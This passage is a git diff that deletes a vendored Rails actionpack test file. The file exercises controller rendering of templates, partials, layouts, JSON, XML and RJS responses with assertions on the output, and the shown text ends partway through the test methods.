diff --git a/vendor/rails/actionpack/test/controller/render_test.rb b/vendor/rails/actionpack/test/controller/render_test.rb
deleted file mode 100644
index 288260a2..00000000
--- a/vendor/rails/actionpack/test/controller/render_test.rb
+++ /dev/null
@@ -1,1783 +0,0 @@
-require 'abstract_unit'
-require 'controller/fake_models'
-
-module Fun
-  class GamesController < ActionController::Base
-    def hello_world
-    end
-  end
-end
-
-class MockLogger
-  attr_reader :logged
-
-  def initialize
-    @logged = []
-  end
-
-  def method_missing(method, *args)
-    @logged << args.first
-  end
-end
-
-class TestController < ActionController::Base
-  protect_from_forgery
-
-  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
-  end
-
-  layout :determine_layout
-
-  def hello_world
-  end
-
-  def conditional_hello
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123])
-      render :action => 'hello_world'
-    end
-  end
-  
-  def conditional_hello_with_public_header
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
-    end
-  end
-  
-  def conditional_hello_with_public_header_and_expires_at
-    expires_in 1.minute
-    if stale?(:last_modified => Time.now.utc.beginning_of_day, :etag => [:foo, 123], :public => true)
-      render :action => 'hello_world'
-    end
-  end
-  
-  def conditional_hello_with_expires_in
-    expires_in 1.minute
-    render :action => 'hello_world'
-  end
-  
-  def conditional_hello_with_expires_in_with_public
-    expires_in 1.minute, :public => true
-    render :action => 'hello_world'
-  end
-  
-  def conditional_hello_with_expires_in_with_public_with_more_keys
-    expires_in 1.minute, :public => true, 'max-stale' => 5.hours
-    render :action => 'hello_world'
-  end
-  
-  def conditional_hello_with_expires_in_with_public_with_more_keys_old_syntax
-    expires_in 1.minute, :public => true, :private => nil, 'max-stale' => 5.hours
-    render :action => 'hello_world'
-  end
-
-  def conditional_hello_with_bangs
-    render :action => 'hello_world'
-  end
-  before_filter :handle_last_modified_and_etags, :only=>:conditional_hello_with_bangs
-
-  def handle_last_modified_and_etags
-    fresh_when(:last_modified => Time.now.utc.beginning_of_day, :etag => [ :foo, 123 ])
-  end
-
-  def render_hello_world
-    render :template => "test/hello_world"
-  end
-
-  def render_hello_world_with_last_modified_set
-    response.last_modified = Date.new(2008, 10, 10).to_time
-    render :template => "test/hello_world"
-  end
-
-  def render_hello_world_with_etag_set
-    response.etag = "hello_world"
-    render :template => "test/hello_world"
-  end
-
-  def render_hello_world_with_forward_slash
-    render :template => "/test/hello_world"
-  end
-
-  def render_template_in_top_directory
-    render :template => 'shared'
-  end
-
-  def render_template_in_top_directory_with_slash
-    render :template => '/shared'
-  end
-
-  def render_hello_world_from_variable
-    @person = "david"
-    render :text => "hello #{@person}"
-  end
-
-  def render_action_hello_world
-    render :action => "hello_world"
-  end
-
-  def render_action_hello_world_as_string
-    render "hello_world"
-  end
-
-  def render_action_hello_world_with_symbol
-    render :action => :hello_world
-  end
-
-  def render_text_hello_world
-    render :text => "hello world"
-  end
-
-  def render_text_hello_world_with_layout
-    @variable_for_layout = ", I'm here!"
-    render :text => "hello world", :layout => true
-  end
-
-  def hello_world_with_layout_false
-    render :layout => false
-  end
-
-  def render_file_with_instance_variables
-    @secret = 'in the sauce'
-    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb')
-    render :file => path
-  end
-
-  def render_file_as_string_with_instance_variables
-    @secret = 'in the sauce'
-    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
-    render path
-  end
-
-  def render_file_not_using_full_path
-    @secret = 'in the sauce'
-    render :file => 'test/render_file_with_ivar'
-  end
-
-  def render_file_not_using_full_path_with_dot_in_path
-    @secret = 'in the sauce'
-    render :file => 'test/dot.directory/render_file_with_ivar'
-  end
-
-  def render_file_using_pathname
-    @secret = 'in the sauce'
-    render :file => Pathname.new(File.dirname(__FILE__)).join('..', 'fixtures', 'test', 'dot.directory', 'render_file_with_ivar.erb')
-  end
-
-  def render_file_from_template
-    @secret = 'in the sauce'
-    @path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_ivar.erb'))
-  end
-
-  def render_file_with_locals
-    path = File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb')
-    render :file => path, :locals => {:secret => 'in the sauce'}
-  end
-
-  def render_file_as_string_with_locals
-    path = File.expand_path(File.join(File.dirname(__FILE__), '../fixtures/test/render_file_with_locals.erb'))
-    render path, :locals => {:secret => 'in the sauce'}
-  end
-
-  def accessing_request_in_template
-    render :inline =>  "Hello: <%= request.host %>"
-  end
-
-  def accessing_logger_in_template
-    render :inline =>  "<%= logger.class %>"
-  end
-
-  def accessing_action_name_in_template
-    render :inline =>  "<%= action_name %>"
-  end
-
-  def accessing_controller_name_in_template
-    render :inline =>  "<%= controller_name %>"
-  end
-
-  def render_json_nil
-    render :json => nil
-  end
-
-  def render_json_hello_world
-    render :json => ActiveSupport::JSON.encode(:hello => 'world')
-  end
-
-  def render_json_hello_world_with_callback
-    render :json => ActiveSupport::JSON.encode(:hello => 'world'), :callback => 'alert'
-  end
-
-  def render_json_with_custom_content_type
-    render :json => ActiveSupport::JSON.encode(:hello => 'world'), :content_type => 'text/javascript'
-  end
-
-  def render_symbol_json
-    render :json => ActiveSupport::JSON.encode(:hello => 'world')
-  end
-
-  def render_json_with_render_to_string
-    render :json => {:hello => render_to_string(:partial => 'partial')}
-  end
-
-  def render_custom_code
-    render :text => "hello world", :status => 404
-  end
-
-  def render_custom_code_rjs
-    render :update, :status => 404 do |page|
-      page.replace :foo, :partial => 'partial'
-    end
-  end
-
-  def render_text_with_nil
-    render :text => nil
-  end
-
-  def render_text_with_false
-    render :text => false
-  end
-
-  def render_nothing_with_appendix
-    render :text => "appended"
-  end
-
-  def render_vanilla_js_hello
-    render :js => "alert('hello')"
-  end
-
-  def render_xml_hello
-    @name = "David"
-    render :template => "test/hello"
-  end
-
-  def render_xml_hello_as_string_template
-    @name = "David"
-    render "test/hello"
-  end
-
-  def render_xml_with_custom_content_type
-    render :xml => "<blah/>", :content_type => "application/atomsvc+xml"
-  end
-
-  def render_line_offset
-    render :inline => '<% raise %>', :locals => {:foo => 'bar'}
-  end
-
-  def heading
-    head :ok
-  end
-
-  def greeting
-    # let's just rely on the template
-  end
-
-  def blank_response
-    render :text => ' '
-  end
-
-  def layout_test
-    render :action => "hello_world"
-  end
-
-  def builder_layout_test
-    render :action => "hello", :layout => "layouts/builder"
-  end
-
-  def builder_partial_test
-    render :action => "hello_world_container"
-  end
-
-  def partials_list
-    @test_unchanged = 'hello'
-    @customers = [ Customer.new("david"), Customer.new("mary") ]
-    render :action => "list"
-  end
-
-  def partial_only
-    render :partial => true
-  end
-
-  def hello_in_a_string
-    @customers = [ Customer.new("david"), Customer.new("mary") ]
-    render :text => "How's there? " + render_to_string(:template => "test/list")
-  end
-
-  def accessing_params_in_template
-    render :inline => "Hello: <%= params[:name] %>"
-  end
-
-  def accessing_local_assigns_in_inline_template
-    name = params[:local_name]
-    render :inline => "<%= 'Goodbye, ' + local_name %>",
-           :locals => { :local_name => name }
-  end
-
-  def render_implicit_html_template
-  end
-
-  def render_explicit_html_template
-  end
-
-  def render_implicit_html_template_from_xhr_request
-  end
-
-  def render_implicit_js_template_without_layout
-  end
-
-  def render_html_explicit_template_and_layout
-    render :template => 'test/render_implicit_html_template_from_xhr_request', :layout => 'layouts/default_html'
-  end
-
-  def formatted_html_erb
-  end
-
-  def formatted_xml_erb
-  end
-
-  def render_to_string_test
-    @foo = render_to_string :inline => "this is a test"
-  end
-
-  def default_render
-    if @alternate_default_render
-      @alternate_default_render.call
-    else
-      super
-    end
-  end
-
-  def render_action_hello_world_as_symbol
-    render :action => :hello_world
-  end
-
-  def layout_test_with_different_layout
-    render :action => "hello_world", :layout => "standard"
-  end
-
-  def layout_test_with_different_layout_and_string_action
-    render "hello_world", :layout => "standard"
-  end
-
-  def layout_test_with_different_layout_and_symbol_action
-    render :hello_world, :layout => "standard"
-  end
-
-  def rendering_without_layout
-    render :action => "hello_world", :layout => false
-  end
-
-  def layout_overriding_layout
-    render :action => "hello_world", :layout => "standard"
-  end
-
-  def rendering_nothing_on_layout
-    render :nothing => true
-  end
-
-  def render_to_string_with_assigns
-    @before = "i'm before the render"
-    render_to_string :text => "foo"
-    @after = "i'm after the render"
-    render :action => "test/hello_world"
-  end
-
-  def render_to_string_with_exception
-    render_to_string :file => "exception that will not be caught - this will certainly not work"
-  end
-
-  def render_to_string_with_caught_exception
-    @before = "i'm before the render"
-    begin
-      render_to_string :file => "exception that will be caught- hope my future instance vars still work!"
-    rescue
-    end
-    @after = "i'm after the render"
-    render :action => "test/hello_world"
-  end
-
-  def accessing_params_in_template_with_layout
-    render :layout => nil, :inline =>  "Hello: <%= params[:name] %>"
-  end
-
-  def render_with_explicit_template
-    render :template => "test/hello_world"
-  end
-
-  def render_with_explicit_string_template
-    render "test/hello_world"
-  end
-
-  def render_with_explicit_template_with_locals
-    render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
-  end
-
-  def double_render
-    render :text => "hello"
-    render :text => "world"
-  end
-
-  def double_redirect
-    redirect_to :action => "double_render"
-    redirect_to :action => "double_render"
-  end
-
-  def render_and_redirect
-    render :text => "hello"
-    redirect_to :action => "double_render"
-  end
-
-  def render_to_string_and_render
-    @stuff = render_to_string :text => "here is some cached stuff"
-    render :text => "Hi web users! #{@stuff}"
-  end
-
-  def render_to_string_with_inline_and_render
-    render_to_string :inline => "<%= 'dlrow olleh'.reverse %>"
-    render :template => "test/hello_world"
-  end
-
-  def rendering_with_conflicting_local_vars
-    @name = "David"
-    def @template.name() nil end
-    render :action => "potential_conflicts"
-  end
-
-  def hello_world_from_rxml_using_action
-    render :action => "hello_world_from_rxml.builder"
-  end
-
-  def hello_world_from_rxml_using_template
-    render :template => "test/hello_world_from_rxml.builder"
-  end
-
-  module RenderTestHelper
-    def rjs_helper_method_from_module
-      page.visual_effect :highlight
-    end
-  end
-
-  helper RenderTestHelper
-  helper do
-    def rjs_helper_method(value)
-      page.visual_effect :highlight, value
-    end
-  end
-
-  def enum_rjs_test
-    render :update do |page|
-      page.select('.product').each do |value|
-        page.rjs_helper_method_from_module
-        page.rjs_helper_method(value)
-        page.sortable(value, :url => { :action => "order" })
-        page.draggable(value)
-      end
-    end
-  end
-
-  def delete_with_js
-    @project_id = 4
-  end
-
-  def render_js_with_explicit_template
-    @project_id = 4
-    render :template => 'test/delete_with_js'
-  end
-
-  def render_js_with_explicit_action_template
-    @project_id = 4
-    render :action => 'delete_with_js'
-  end
-
-  def update_page
-    render :update do |page|
-      page.replace_html 'balance', '$37,000,000.00'
-      page.visual_effect :highlight, 'balance'
-    end
-  end
-
-  def update_page_with_instance_variables
-    @money = '$37,000,000.00'
-    @div_id = 'balance'
-    render :update do |page|
-      page.replace_html @div_id, @money
-      page.visual_effect :highlight, @div_id
-    end
-  end
-
-  def update_page_with_view_method
-    render :update do |page|
-      page.replace_html 'person', pluralize(2, 'person')
-    end
-  end
-
-  def action_talk_to_layout
-    # Action template sets variable that's picked up by layout
-  end
-
-  def render_text_with_assigns
-    @hello = "world"
-    render :text => "foo"
-  end
-
-  def yield_content_for
-    render :action => "content_for", :layout => "yield"
-  end
-
-  def render_content_type_from_body
-    response.content_type = Mime::RSS
-    render :text => "hello world!"
-  end
-
-  def head_with_location_header
-    head :location => "/foo"
-  end
-
-  def head_with_symbolic_status
-    head :status => params[:status].intern
-  end
-
-  def head_with_integer_status
-    head :status => params[:status].to_i
-  end
-
-  def head_with_string_status
-    head :status => params[:status]
-  end
-
-  def head_with_custom_header
-    head :x_custom_header => "something"
-  end
-
-  def head_with_status_code_first
-    head :forbidden, :x_custom_header => "something"
-  end
-
-  def render_with_location
-    render :xml => "<hello/>", :location => "http://example.com", :status => 201
-  end
-
-  def render_with_object_location
-    customer = Customer.new("Some guy", 1)
-    render :xml => "<customer/>", :location => customer_url(customer), :status => :created
-  end
-
-  def render_with_to_xml
-    to_xmlable = Class.new do
-      def to_xml
-        "<i-am-xml/>"
-      end
-    end.new
-
-    render :xml => to_xmlable
-  end
-
-  def render_using_layout_around_block
-    render :action => "using_layout_around_block"
-  end
-
-  def render_using_layout_around_block_with_args
-    render :action => "using_layout_around_block_with_args"
-  end
-
-  def render_using_layout_around_block_in_main_layout_and_within_content_for_layout
-    render :action => "using_layout_around_block", :layout => "layouts/block_with_layout"
-  end
-
-  def partial_dot_html
-    render :partial => 'partial.html.erb'
-  end
-
-  def partial_as_rjs
-    render :update do |page|
-      page.replace :foo, :partial => 'partial'
-    end
-  end
-
-  def respond_to_partial_as_rjs
-    respond_to do |format|
-      format.js do
-        render :update do |page|
-          page.replace :foo, :partial => 'partial'
-        end
-      end
-    end
-  end
-
-  def partial
-    render :partial => 'partial'
-  end
-
-  def render_alternate_default
-    # For this test, the method "default_render" is overridden:
-    @alternate_default_render = lambda do
-      render :update do |page|
-        page.replace :foo, :partial => 'partial'
-      end
-    end
-  end
-
-  def partial_only_with_layout
-    render :partial => "partial_only", :layout => true
-  end
-
-  def render_to_string_with_partial
-    @partial_only = render_to_string :partial => "partial_only"
-    @partial_with_locals = render_to_string :partial => "customer", :locals => { :customer => Customer.new("david") }
-    render :action => "test/hello_world"
-  end
-
-  def partial_with_counter
-    render :partial => "counter", :locals => { :counter_counter => 5 }
-  end
-
-  def partial_with_locals
-    render :partial => "customer", :locals => { :customer => Customer.new("david") }
-  end
-
-  def partial_with_form_builder
-    render :partial => ActionView::Helpers::FormBuilder.new(:post, nil, @template, {}, Proc.new {})
-  end
-
-  def partial_with_form_builder_subclass
-    render :partial => LabellingFormBuilder.new(:post, nil, @template, {}, Proc.new {})
-  end
-
-  def partial_collection
-    render :partial => "customer", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_with_as
-    render :partial => "customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer
-  end
-
-  def partial_collection_with_counter
-    render :partial => "customer_counter", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_with_as_and_counter
-    render :partial => "customer_counter_with_as", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :client
-  end
-
-  def partial_collection_with_locals
-    render :partial => "customer_greeting", :collection => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
-  end
-
-  def partial_collection_with_spacer
-    render :partial => "customer", :spacer_template => "partial_only", :collection => [ Customer.new("david"), Customer.new("mary") ]
-  end
-
-  def partial_collection_shorthand_with_locals
-    render :partial => [ Customer.new("david"), Customer.new("mary") ], :locals => { :greeting => "Bonjour" }
-  end
-
-  def partial_collection_shorthand_with_different_types_of_records
-    render :partial => [
-        BadCustomer.new("mark"),
-        GoodCustomer.new("craig"),
-        BadCustomer.new("john"),
-        GoodCustomer.new("zach"),
-        GoodCustomer.new("brandon"),
-        BadCustomer.new("dan") ],
-      :locals => { :greeting => "Bonjour" }
-  end
-
-  def empty_partial_collection
-    render :partial => "customer", :collection => []
-  end
-
-  def partial_collection_shorthand_with_different_types_of_records_with_counter
-    partial_collection_shorthand_with_different_types_of_records
-  end
-
-  def missing_partial
-    render :partial => 'thisFileIsntHere'
-  end
-
-  def partial_with_hash_object
-    render :partial => "hash_object", :object => {:first_name => "Sam"}
-  end
-
-  def partial_with_nested_object
-    render :partial => "quiz/questions/question", :object => Quiz::Question.new("first")
-  end
-
-  def partial_with_nested_object_shorthand
-    render Quiz::Question.new("first")
-  end
-
-  def partial_hash_collection
-    render :partial => "hash_object", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ]
-  end
-
-  def partial_hash_collection_with_locals
-    render :partial => "hash_greeting", :collection => [ {:first_name => "Pratik"}, {:first_name => "Amy"} ], :locals => { :greeting => "Hola" }
-  end
-
-  def partial_with_implicit_local_assignment
-    @customer = Customer.new("Marcel")
-    render :partial => "customer"
-  end
-
-  def partial_with_implicit_local_assignment_and_nil_local
-    @customer = Customer.new("Marcel")
-    render :partial => "customer", :locals => { :customer => nil }
-  end
-
-  def render_call_to_partial_with_layout
-    render :action => "calling_partial_with_layout"
-  end
-
-  def render_call_to_partial_with_layout_in_main_layout_and_within_content_for_layout
-    render :action => "calling_partial_with_layout", :layout => "layouts/partial_with_layout"
-  end
-
-  def rescue_action(e)
-    raise
-  end
-
-  private
-    def determine_layout
-      case action_name
-        when "hello_world", "layout_test", "rendering_without_layout",
-             "rendering_nothing_on_layout", "render_text_hello_world",
-             "render_text_hello_world_with_layout",
-             "hello_world_with_layout_false",
-             "partial_only", "partial_only_with_layout",
-             "accessing_params_in_template",
-             "accessing_params_in_template_with_layout",
-             "render_with_explicit_template",
-             "render_with_explicit_string_template",
-             "render_js_with_explicit_template",
-             "render_js_with_explicit_action_template",
-             "delete_with_js", "update_page", "update_page_with_instance_variables"
-
-          "layouts/standard"
-        when "render_implicit_js_template_without_layout"
-          "layouts/default_html"
-        when "action_talk_to_layout", "layout_overriding_layout"
-          "layouts/talk_from_action"
-        when "render_implicit_html_template_from_xhr_request"
-          (request.xhr? ? 'layouts/xhr' : 'layouts/standard')
-      end
-    end
-end
-
-class RenderTest < ActionController::TestCase
-  tests TestController
-
-  def setup
-    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
-    # a more accurate simulation of what happens in "real life".
-    @controller.logger = Logger.new(nil)
-
-    @request.host = "www.nextangle.com"
-  end
-
-  def test_simple_show
-    get :hello_world
-    assert_response 200
-    assert_response :success
-    assert_template "test/hello_world"
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_renders_default_template_for_missing_action
-    get :'hyphen-ated'
-    assert_template 'test/hyphen-ated'
-  end
-
-  def test_render
-    get :render_hello_world
-    assert_template "test/hello_world"
-  end
-
-  def test_line_offset
-    begin
-      get :render_line_offset
-      flunk "the action should have raised an exception"
-    rescue RuntimeError => exc
-      line = exc.backtrace.first
-      assert(line =~ %r{:(\d+):})
-      assert_equal "1", $1,
-        "The line offset is wrong, perhaps the wrong exception has been raised, exception was: #{exc.inspect}"
-    end
-  end
-
-  def test_render_with_forward_slash
-    get :render_hello_world_with_forward_slash
-    assert_template "test/hello_world"
-  end
-
-  def test_render_in_top_directory
-    get :render_template_in_top_directory
-    assert_template "shared"
-    assert_equal "Elastica", @response.body
-  end
-
-  def test_render_in_top_directory_with_slash
-    get :render_template_in_top_directory_with_slash
-    assert_template "shared"
-    assert_equal "Elastica", @response.body
-  end
-
-  def test_render_from_variable
-    get :render_hello_world_from_variable
-    assert_equal "hello david", @response.body
-  end
-
-  def test_render_action
-    get :render_action_hello_world
-    assert_template "test/hello_world"
-  end
-
-  def test_render_action_hello_world_as_string
-    get :render_action_hello_world_as_string
-    assert_equal "Hello world!", @response.body
-    assert_template "test/hello_world"
-  end
-
-  def test_render_action_with_symbol
-    get :render_action_hello_world_with_symbol
-    assert_template "test/hello_world"
-  end
-
-  def test_render_text
-    get :render_text_hello_world
-    assert_equal "hello world", @response.body
-  end
-
-  def test_do_with_render_text_and_layout
-    get :render_text_hello_world_with_layout
-    assert_equal "<html>hello world, I'm here!</html>", @response.body
-  end
-
-  def test_xhr_with_render_text_and_layout
-    xhr :get, :render_text_hello_world_with_layout
-    assert_equal "<html>hello world, I'm here!</html>", @response.body
-  end
-
-  def test_do_with_render_action_and_layout_false
-    get :hello_world_with_layout_false
-    assert_equal 'Hello world!', @response.body
-  end
-
-  def test_render_file_with_instance_variables
-    get :render_file_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_as_string_with_instance_variables
-    get :render_file_as_string_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_not_using_full_path
-    get :render_file_not_using_full_path
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_not_using_full_path_with_dot_in_path
-    get :render_file_not_using_full_path_with_dot_in_path
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_using_pathname
-    get :render_file_using_pathname
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_with_locals
-    get :render_file_with_locals
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_as_string_with_locals
-    get :render_file_as_string_with_locals
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_file_from_template
-    get :render_file_from_template
-    assert_equal "The secret is in the sauce\n", @response.body
-  end
-
-  def test_render_json_nil
-    get :render_json_nil
-    assert_equal 'null', @response.body
-    assert_equal 'application/json', @response.content_type
-  end
-
-  def test_render_json
-    get :render_json_hello_world
-    assert_equal '{"hello":"world"}', @response.body
-    assert_equal 'application/json', @response.content_type
-  end
-
-  def test_render_json_with_callback
-    get :render_json_hello_world_with_callback
-    assert_equal 'alert({"hello":"world"})', @response.body
-    assert_equal 'application/json', @response.content_type
-  end
-
-  def test_render_json_with_custom_content_type
-    get :render_json_with_custom_content_type
-    assert_equal '{"hello":"world"}', @response.body
-    assert_equal 'text/javascript', @response.content_type
-  end
-
-  def test_render_symbol_json
-    get :render_symbol_json
-    assert_equal '{"hello":"world"}', @response.body
-    assert_equal 'application/json', @response.content_type
-  end
-
-  def test_render_json_with_render_to_string
-    get :render_json_with_render_to_string
-    assert_equal '{"hello":"partial html"}', @response.body
-    assert_equal 'application/json', @response.content_type
-  end
-
-  def test_render_custom_code
-    get :render_custom_code
-    assert_response 404
-    assert_response :missing
-    assert_equal 'hello world', @response.body
-  end
-
-  def test_render_custom_code_rjs
-    get :render_custom_code_rjs
-    assert_response 404
-    assert_equal %(Element.replace("foo", "partial html");), @response.body
-  end
-
-  def test_render_text_with_nil
-    get :render_text_with_nil
-    assert_response 200
-    assert_equal ' ', @response.body
-  end
-
-  def test_render_text_with_false
-    get :render_text_with_false
-    assert_equal 'false', @response.body
-  end
-
-  def test_render_nothing_with_appendix
-    get :render_nothing_with_appendix
-    assert_response 200
-    assert_equal 'appended', @response.body
-  end
-
-  def test_attempt_to_access_object_method
-    assert_raise(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
-  end
-
-  def test_private_methods
-    assert_raise(ActionController::UnknownAction, "No action responded to [determine_layout]") { get :determine_layout }
-  end
-
-  def test_access_to_request_in_view
-    get :accessing_request_in_template
-    assert_equal "Hello: www.nextangle.com", @response.body
-  end
-
-  def test_access_to_logger_in_view
-    get :accessing_logger_in_template
-    assert_equal "Logger", @response.body
-  end
-
-  def test_access_to_action_name_in_view
-    get :accessing_action_name_in_template
-    assert_equal "accessing_action_name_in_template", @response.body
-  end
-
-  def test_access_to_controller_name_in_view
-    get :accessing_controller_name_in_template
-    assert_equal "test", @response.body # name is explicitly set to 'test' inside the controller.
-  end
-
-  def test_render_vanilla_js
-    get :render_vanilla_js_hello
-    assert_equal "alert('hello')", @response.body
-    assert_equal "text/javascript", @response.content_type
-  end
-
-  def test_render_xml
-    get :render_xml_hello
-    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
-  end
-
-  def test_render_xml_as_string_template
-    get :render_xml_hello_as_string_template
-    assert_equal "<html>\n  <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
-    assert_equal "application/xml", @response.content_type
-  end
-
-  def test_render_xml_with_default
-    get :greeting
-    assert_equal "<p>This is grand!</p>\n", @response.body
-  end
-
-  def test_render_xml_with_partial
-    get :builder_partial_test
-    assert_equal "<test>\n  <hello/>\n</test>\n", @response.body
-  end
-
-  def test_enum_rjs_test
-    ActiveSupport::SecureRandom.stubs(:base64).returns("asdf")
-    get :enum_rjs_test
-    body = %{
-      $$(".product").each(function(value, index) {
-      new Effect.Highlight(element,{});
-      new Effect.Highlight(value,{});
-      Sortable.create(value, {onUpdate:function(){new Ajax.Request('/test/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize(value) + '&authenticity_token=' + encodeURIComponent('asdf')})}});
-      new Draggable(value, {});
-      });
-    }.gsub(/^      /, '').strip
-    assert_equal body, @response.body
-  end
-
-  def test_layout_rendering
-    get :layout_test
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_render_xml_with_layouts
-    get :builder_layout_test
-    assert_equal "<wrapper>\n<html>\n  <p>Hello </p>\n<p>This is grand!</p>\n</html>\n</wrapper>\n", @response.body
-  end
-
-  def test_partials_list
-    get :partials_list
-    assert_equal "goodbyeHello: davidHello: marygoodbye\n", @response.body
-  end
-
-  def test_render_to_string
-    get :hello_in_a_string
-    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
-  end
-
-  def test_render_to_string_resets_assigns
-    get :render_to_string_test
-    assert_equal "The value of foo is: ::this is a test::\n", @response.body
-  end
-
-  def test_render_to_string_inline
-    get :render_to_string_with_inline_and_render
-    assert_template "test/hello_world"
-  end
-
-  def test_nested_rendering
-    @controller = Fun::GamesController.new
-    get :hello_world
-    assert_equal "Living in a nested world", @response.body
-  end
-
-  def test_accessing_params_in_template
-    get :accessing_params_in_template, :name => "David"
-    assert_equal "Hello: David", @response.body
-  end
-
-  def test_accessing_local_assigns_in_inline_template
-    get :accessing_local_assigns_in_inline_template, :local_name => "Local David"
-    assert_equal "Goodbye, Local David", @response.body
-  end
-
-  def test_render_in_an_rjs_template_should_pick_html_templates_when_available
-    [:js, "js"].each do |format|
-      assert_nothing_raised do
-        get :render_implicit_html_template, :format => format
-        assert_equal %(document.write("Hello world\\n");), @response.body
-      end
-    end
-  end
-
-  def test_explicitly_rendering_an_html_template_with_implicit_html_template_renders_should_be_possible_from_an_rjs_template
-    [:js, "js"].each do |format|
-      assert_nothing_raised do
-        get :render_explicit_html_template, :format => format
-        assert_equal %(document.write("Hello world\\n");), @response.body
-      end
-    end
-  end
-
-  def test_should_implicitly_render_html_template_from_xhr_request
-    xhr :get, :render_implicit_html_template_from_xhr_request
-    assert_equal "XHR!\nHello HTML!", @response.body
-  end
-
-  def test_should_render_explicit_html_template_with_html_layout
-    xhr :get, :render_html_explicit_template_and_layout
-    assert_equal "<html>Hello HTML!</html>\n", @response.body
-  end
-
-  def test_should_implicitly_render_js_template_without_layout
-    get :render_implicit_js_template_without_layout, :format => :js
-    assert_no_match /<html>/, @response.body
-  end
-
-  def test_should_render_formatted_template
-    get :formatted_html_erb
-    assert_equal 'formatted html erb', @response.body
-  end
-
-  def test_should_render_formatted_xml_erb_template
-    get :formatted_xml_erb, :format => :xml
-    assert_equal '<test>passed formatted xml erb</test>', @response.body
-  end
-
-  def test_should_render_formatted_html_erb_template
-    get :formatted_xml_erb
-    assert_equal '<test>passed formatted html erb</test>', @response.body
-  end
-
-  def test_should_render_formatted_html_erb_template_with_faulty_accepts_header
-    @request.accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appliction/x-shockwave-flash, */*"
-    get :formatted_xml_erb
-    assert_equal '<test>passed formatted html erb</test>', @response.body
-  end
-
-  def test_should_render_xml_but_keep_custom_content_type
-    get :render_xml_with_custom_content_type
-    assert_equal "application/atomsvc+xml", @response.content_type
-  end
-
-  def test_render_with_default_from_accept_header
-    xhr :get, :greeting
-    assert_equal "$(\"body\").visualEffect(\"highlight\");", @response.body
-  end
-
-  def test_render_rjs_with_default
-    get :delete_with_js
-    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
-  end
-
-  def test_render_rjs_template_explicitly
-    get :render_js_with_explicit_template
-    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
-  end
-
-  def test_rendering_rjs_action_explicitly
-    get :render_js_with_explicit_action_template
-    assert_equal %!Element.remove("person");\nnew Effect.Highlight(\"project-4\",{});!, @response.body
-  end
-
-  def test_layout_test_with_different_layout
-    get :layout_test_with_different_layout
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_layout_test_with_different_layout_and_string_action
-    get :layout_test_with_different_layout_and_string_action
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_layout_test_with_different_layout_and_symbol_action
-    get :layout_test_with_different_layout_and_symbol_action
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_rendering_without_layout
-    get :rendering_without_layout
-    assert_equal "Hello world!", @response.body
-  end
-
-  def test_layout_overriding_layout
-    get :layout_overriding_layout
-    assert_no_match %r{<title>}, @response.body
-  end
-
-  def test_rendering_nothing_on_layout
-    get :rendering_nothing_on_layout
-    assert_equal " ", @response.body
-  end
-
-  def test_render_to_string
-    assert_not_deprecated { get :hello_in_a_string }
-    assert_equal "How's there? goodbyeHello: davidHello: marygoodbye\n", @response.body
-  end
-
-  def test_render_to_string_doesnt_break_assigns
-    get :render_to_string_with_assigns
-    assert_equal "i'm before the render", assigns(:before)
-    assert_equal "i'm after the render", assigns(:after)
-  end
-
-  def test_bad_render_to_string_still_throws_exception
-    assert_raise(ActionView::MissingTemplate) { get :render_to_string_with_exception }
-  end
-
-  def test_render_to_string_that_throws_caught_exception_doesnt_break_assigns
-    assert_nothing_raised { get :render_to_string_with_caught_exception }
-    assert_equal "i'm before the render", assigns(:before)
-    assert_equal "i'm after the render", assigns(:after)
-  end
-
-  def test_accessing_params_in_template_with_layout
-    get :accessing_params_in_template_with_layout, :name => "David"
-    assert_equal "<html>Hello: David</html>", @response.body
-  end
-
-  def test_render_with_explicit_template
-    get :render_with_explicit_template
-    assert_response :success
-  end
-
-  def test_render_with_explicit_string_template
-    get :render_with_explicit_string_template
-    assert_equal "<html>Hello world!</html>", @response.body
-  end
-
-  def test_double_render
-    assert_raise(ActionController::DoubleRenderError) { get :double_render }
-  end
-
-  def test_double_redirect
-    assert_raise(ActionController::DoubleRenderError) { get :double_redirect }
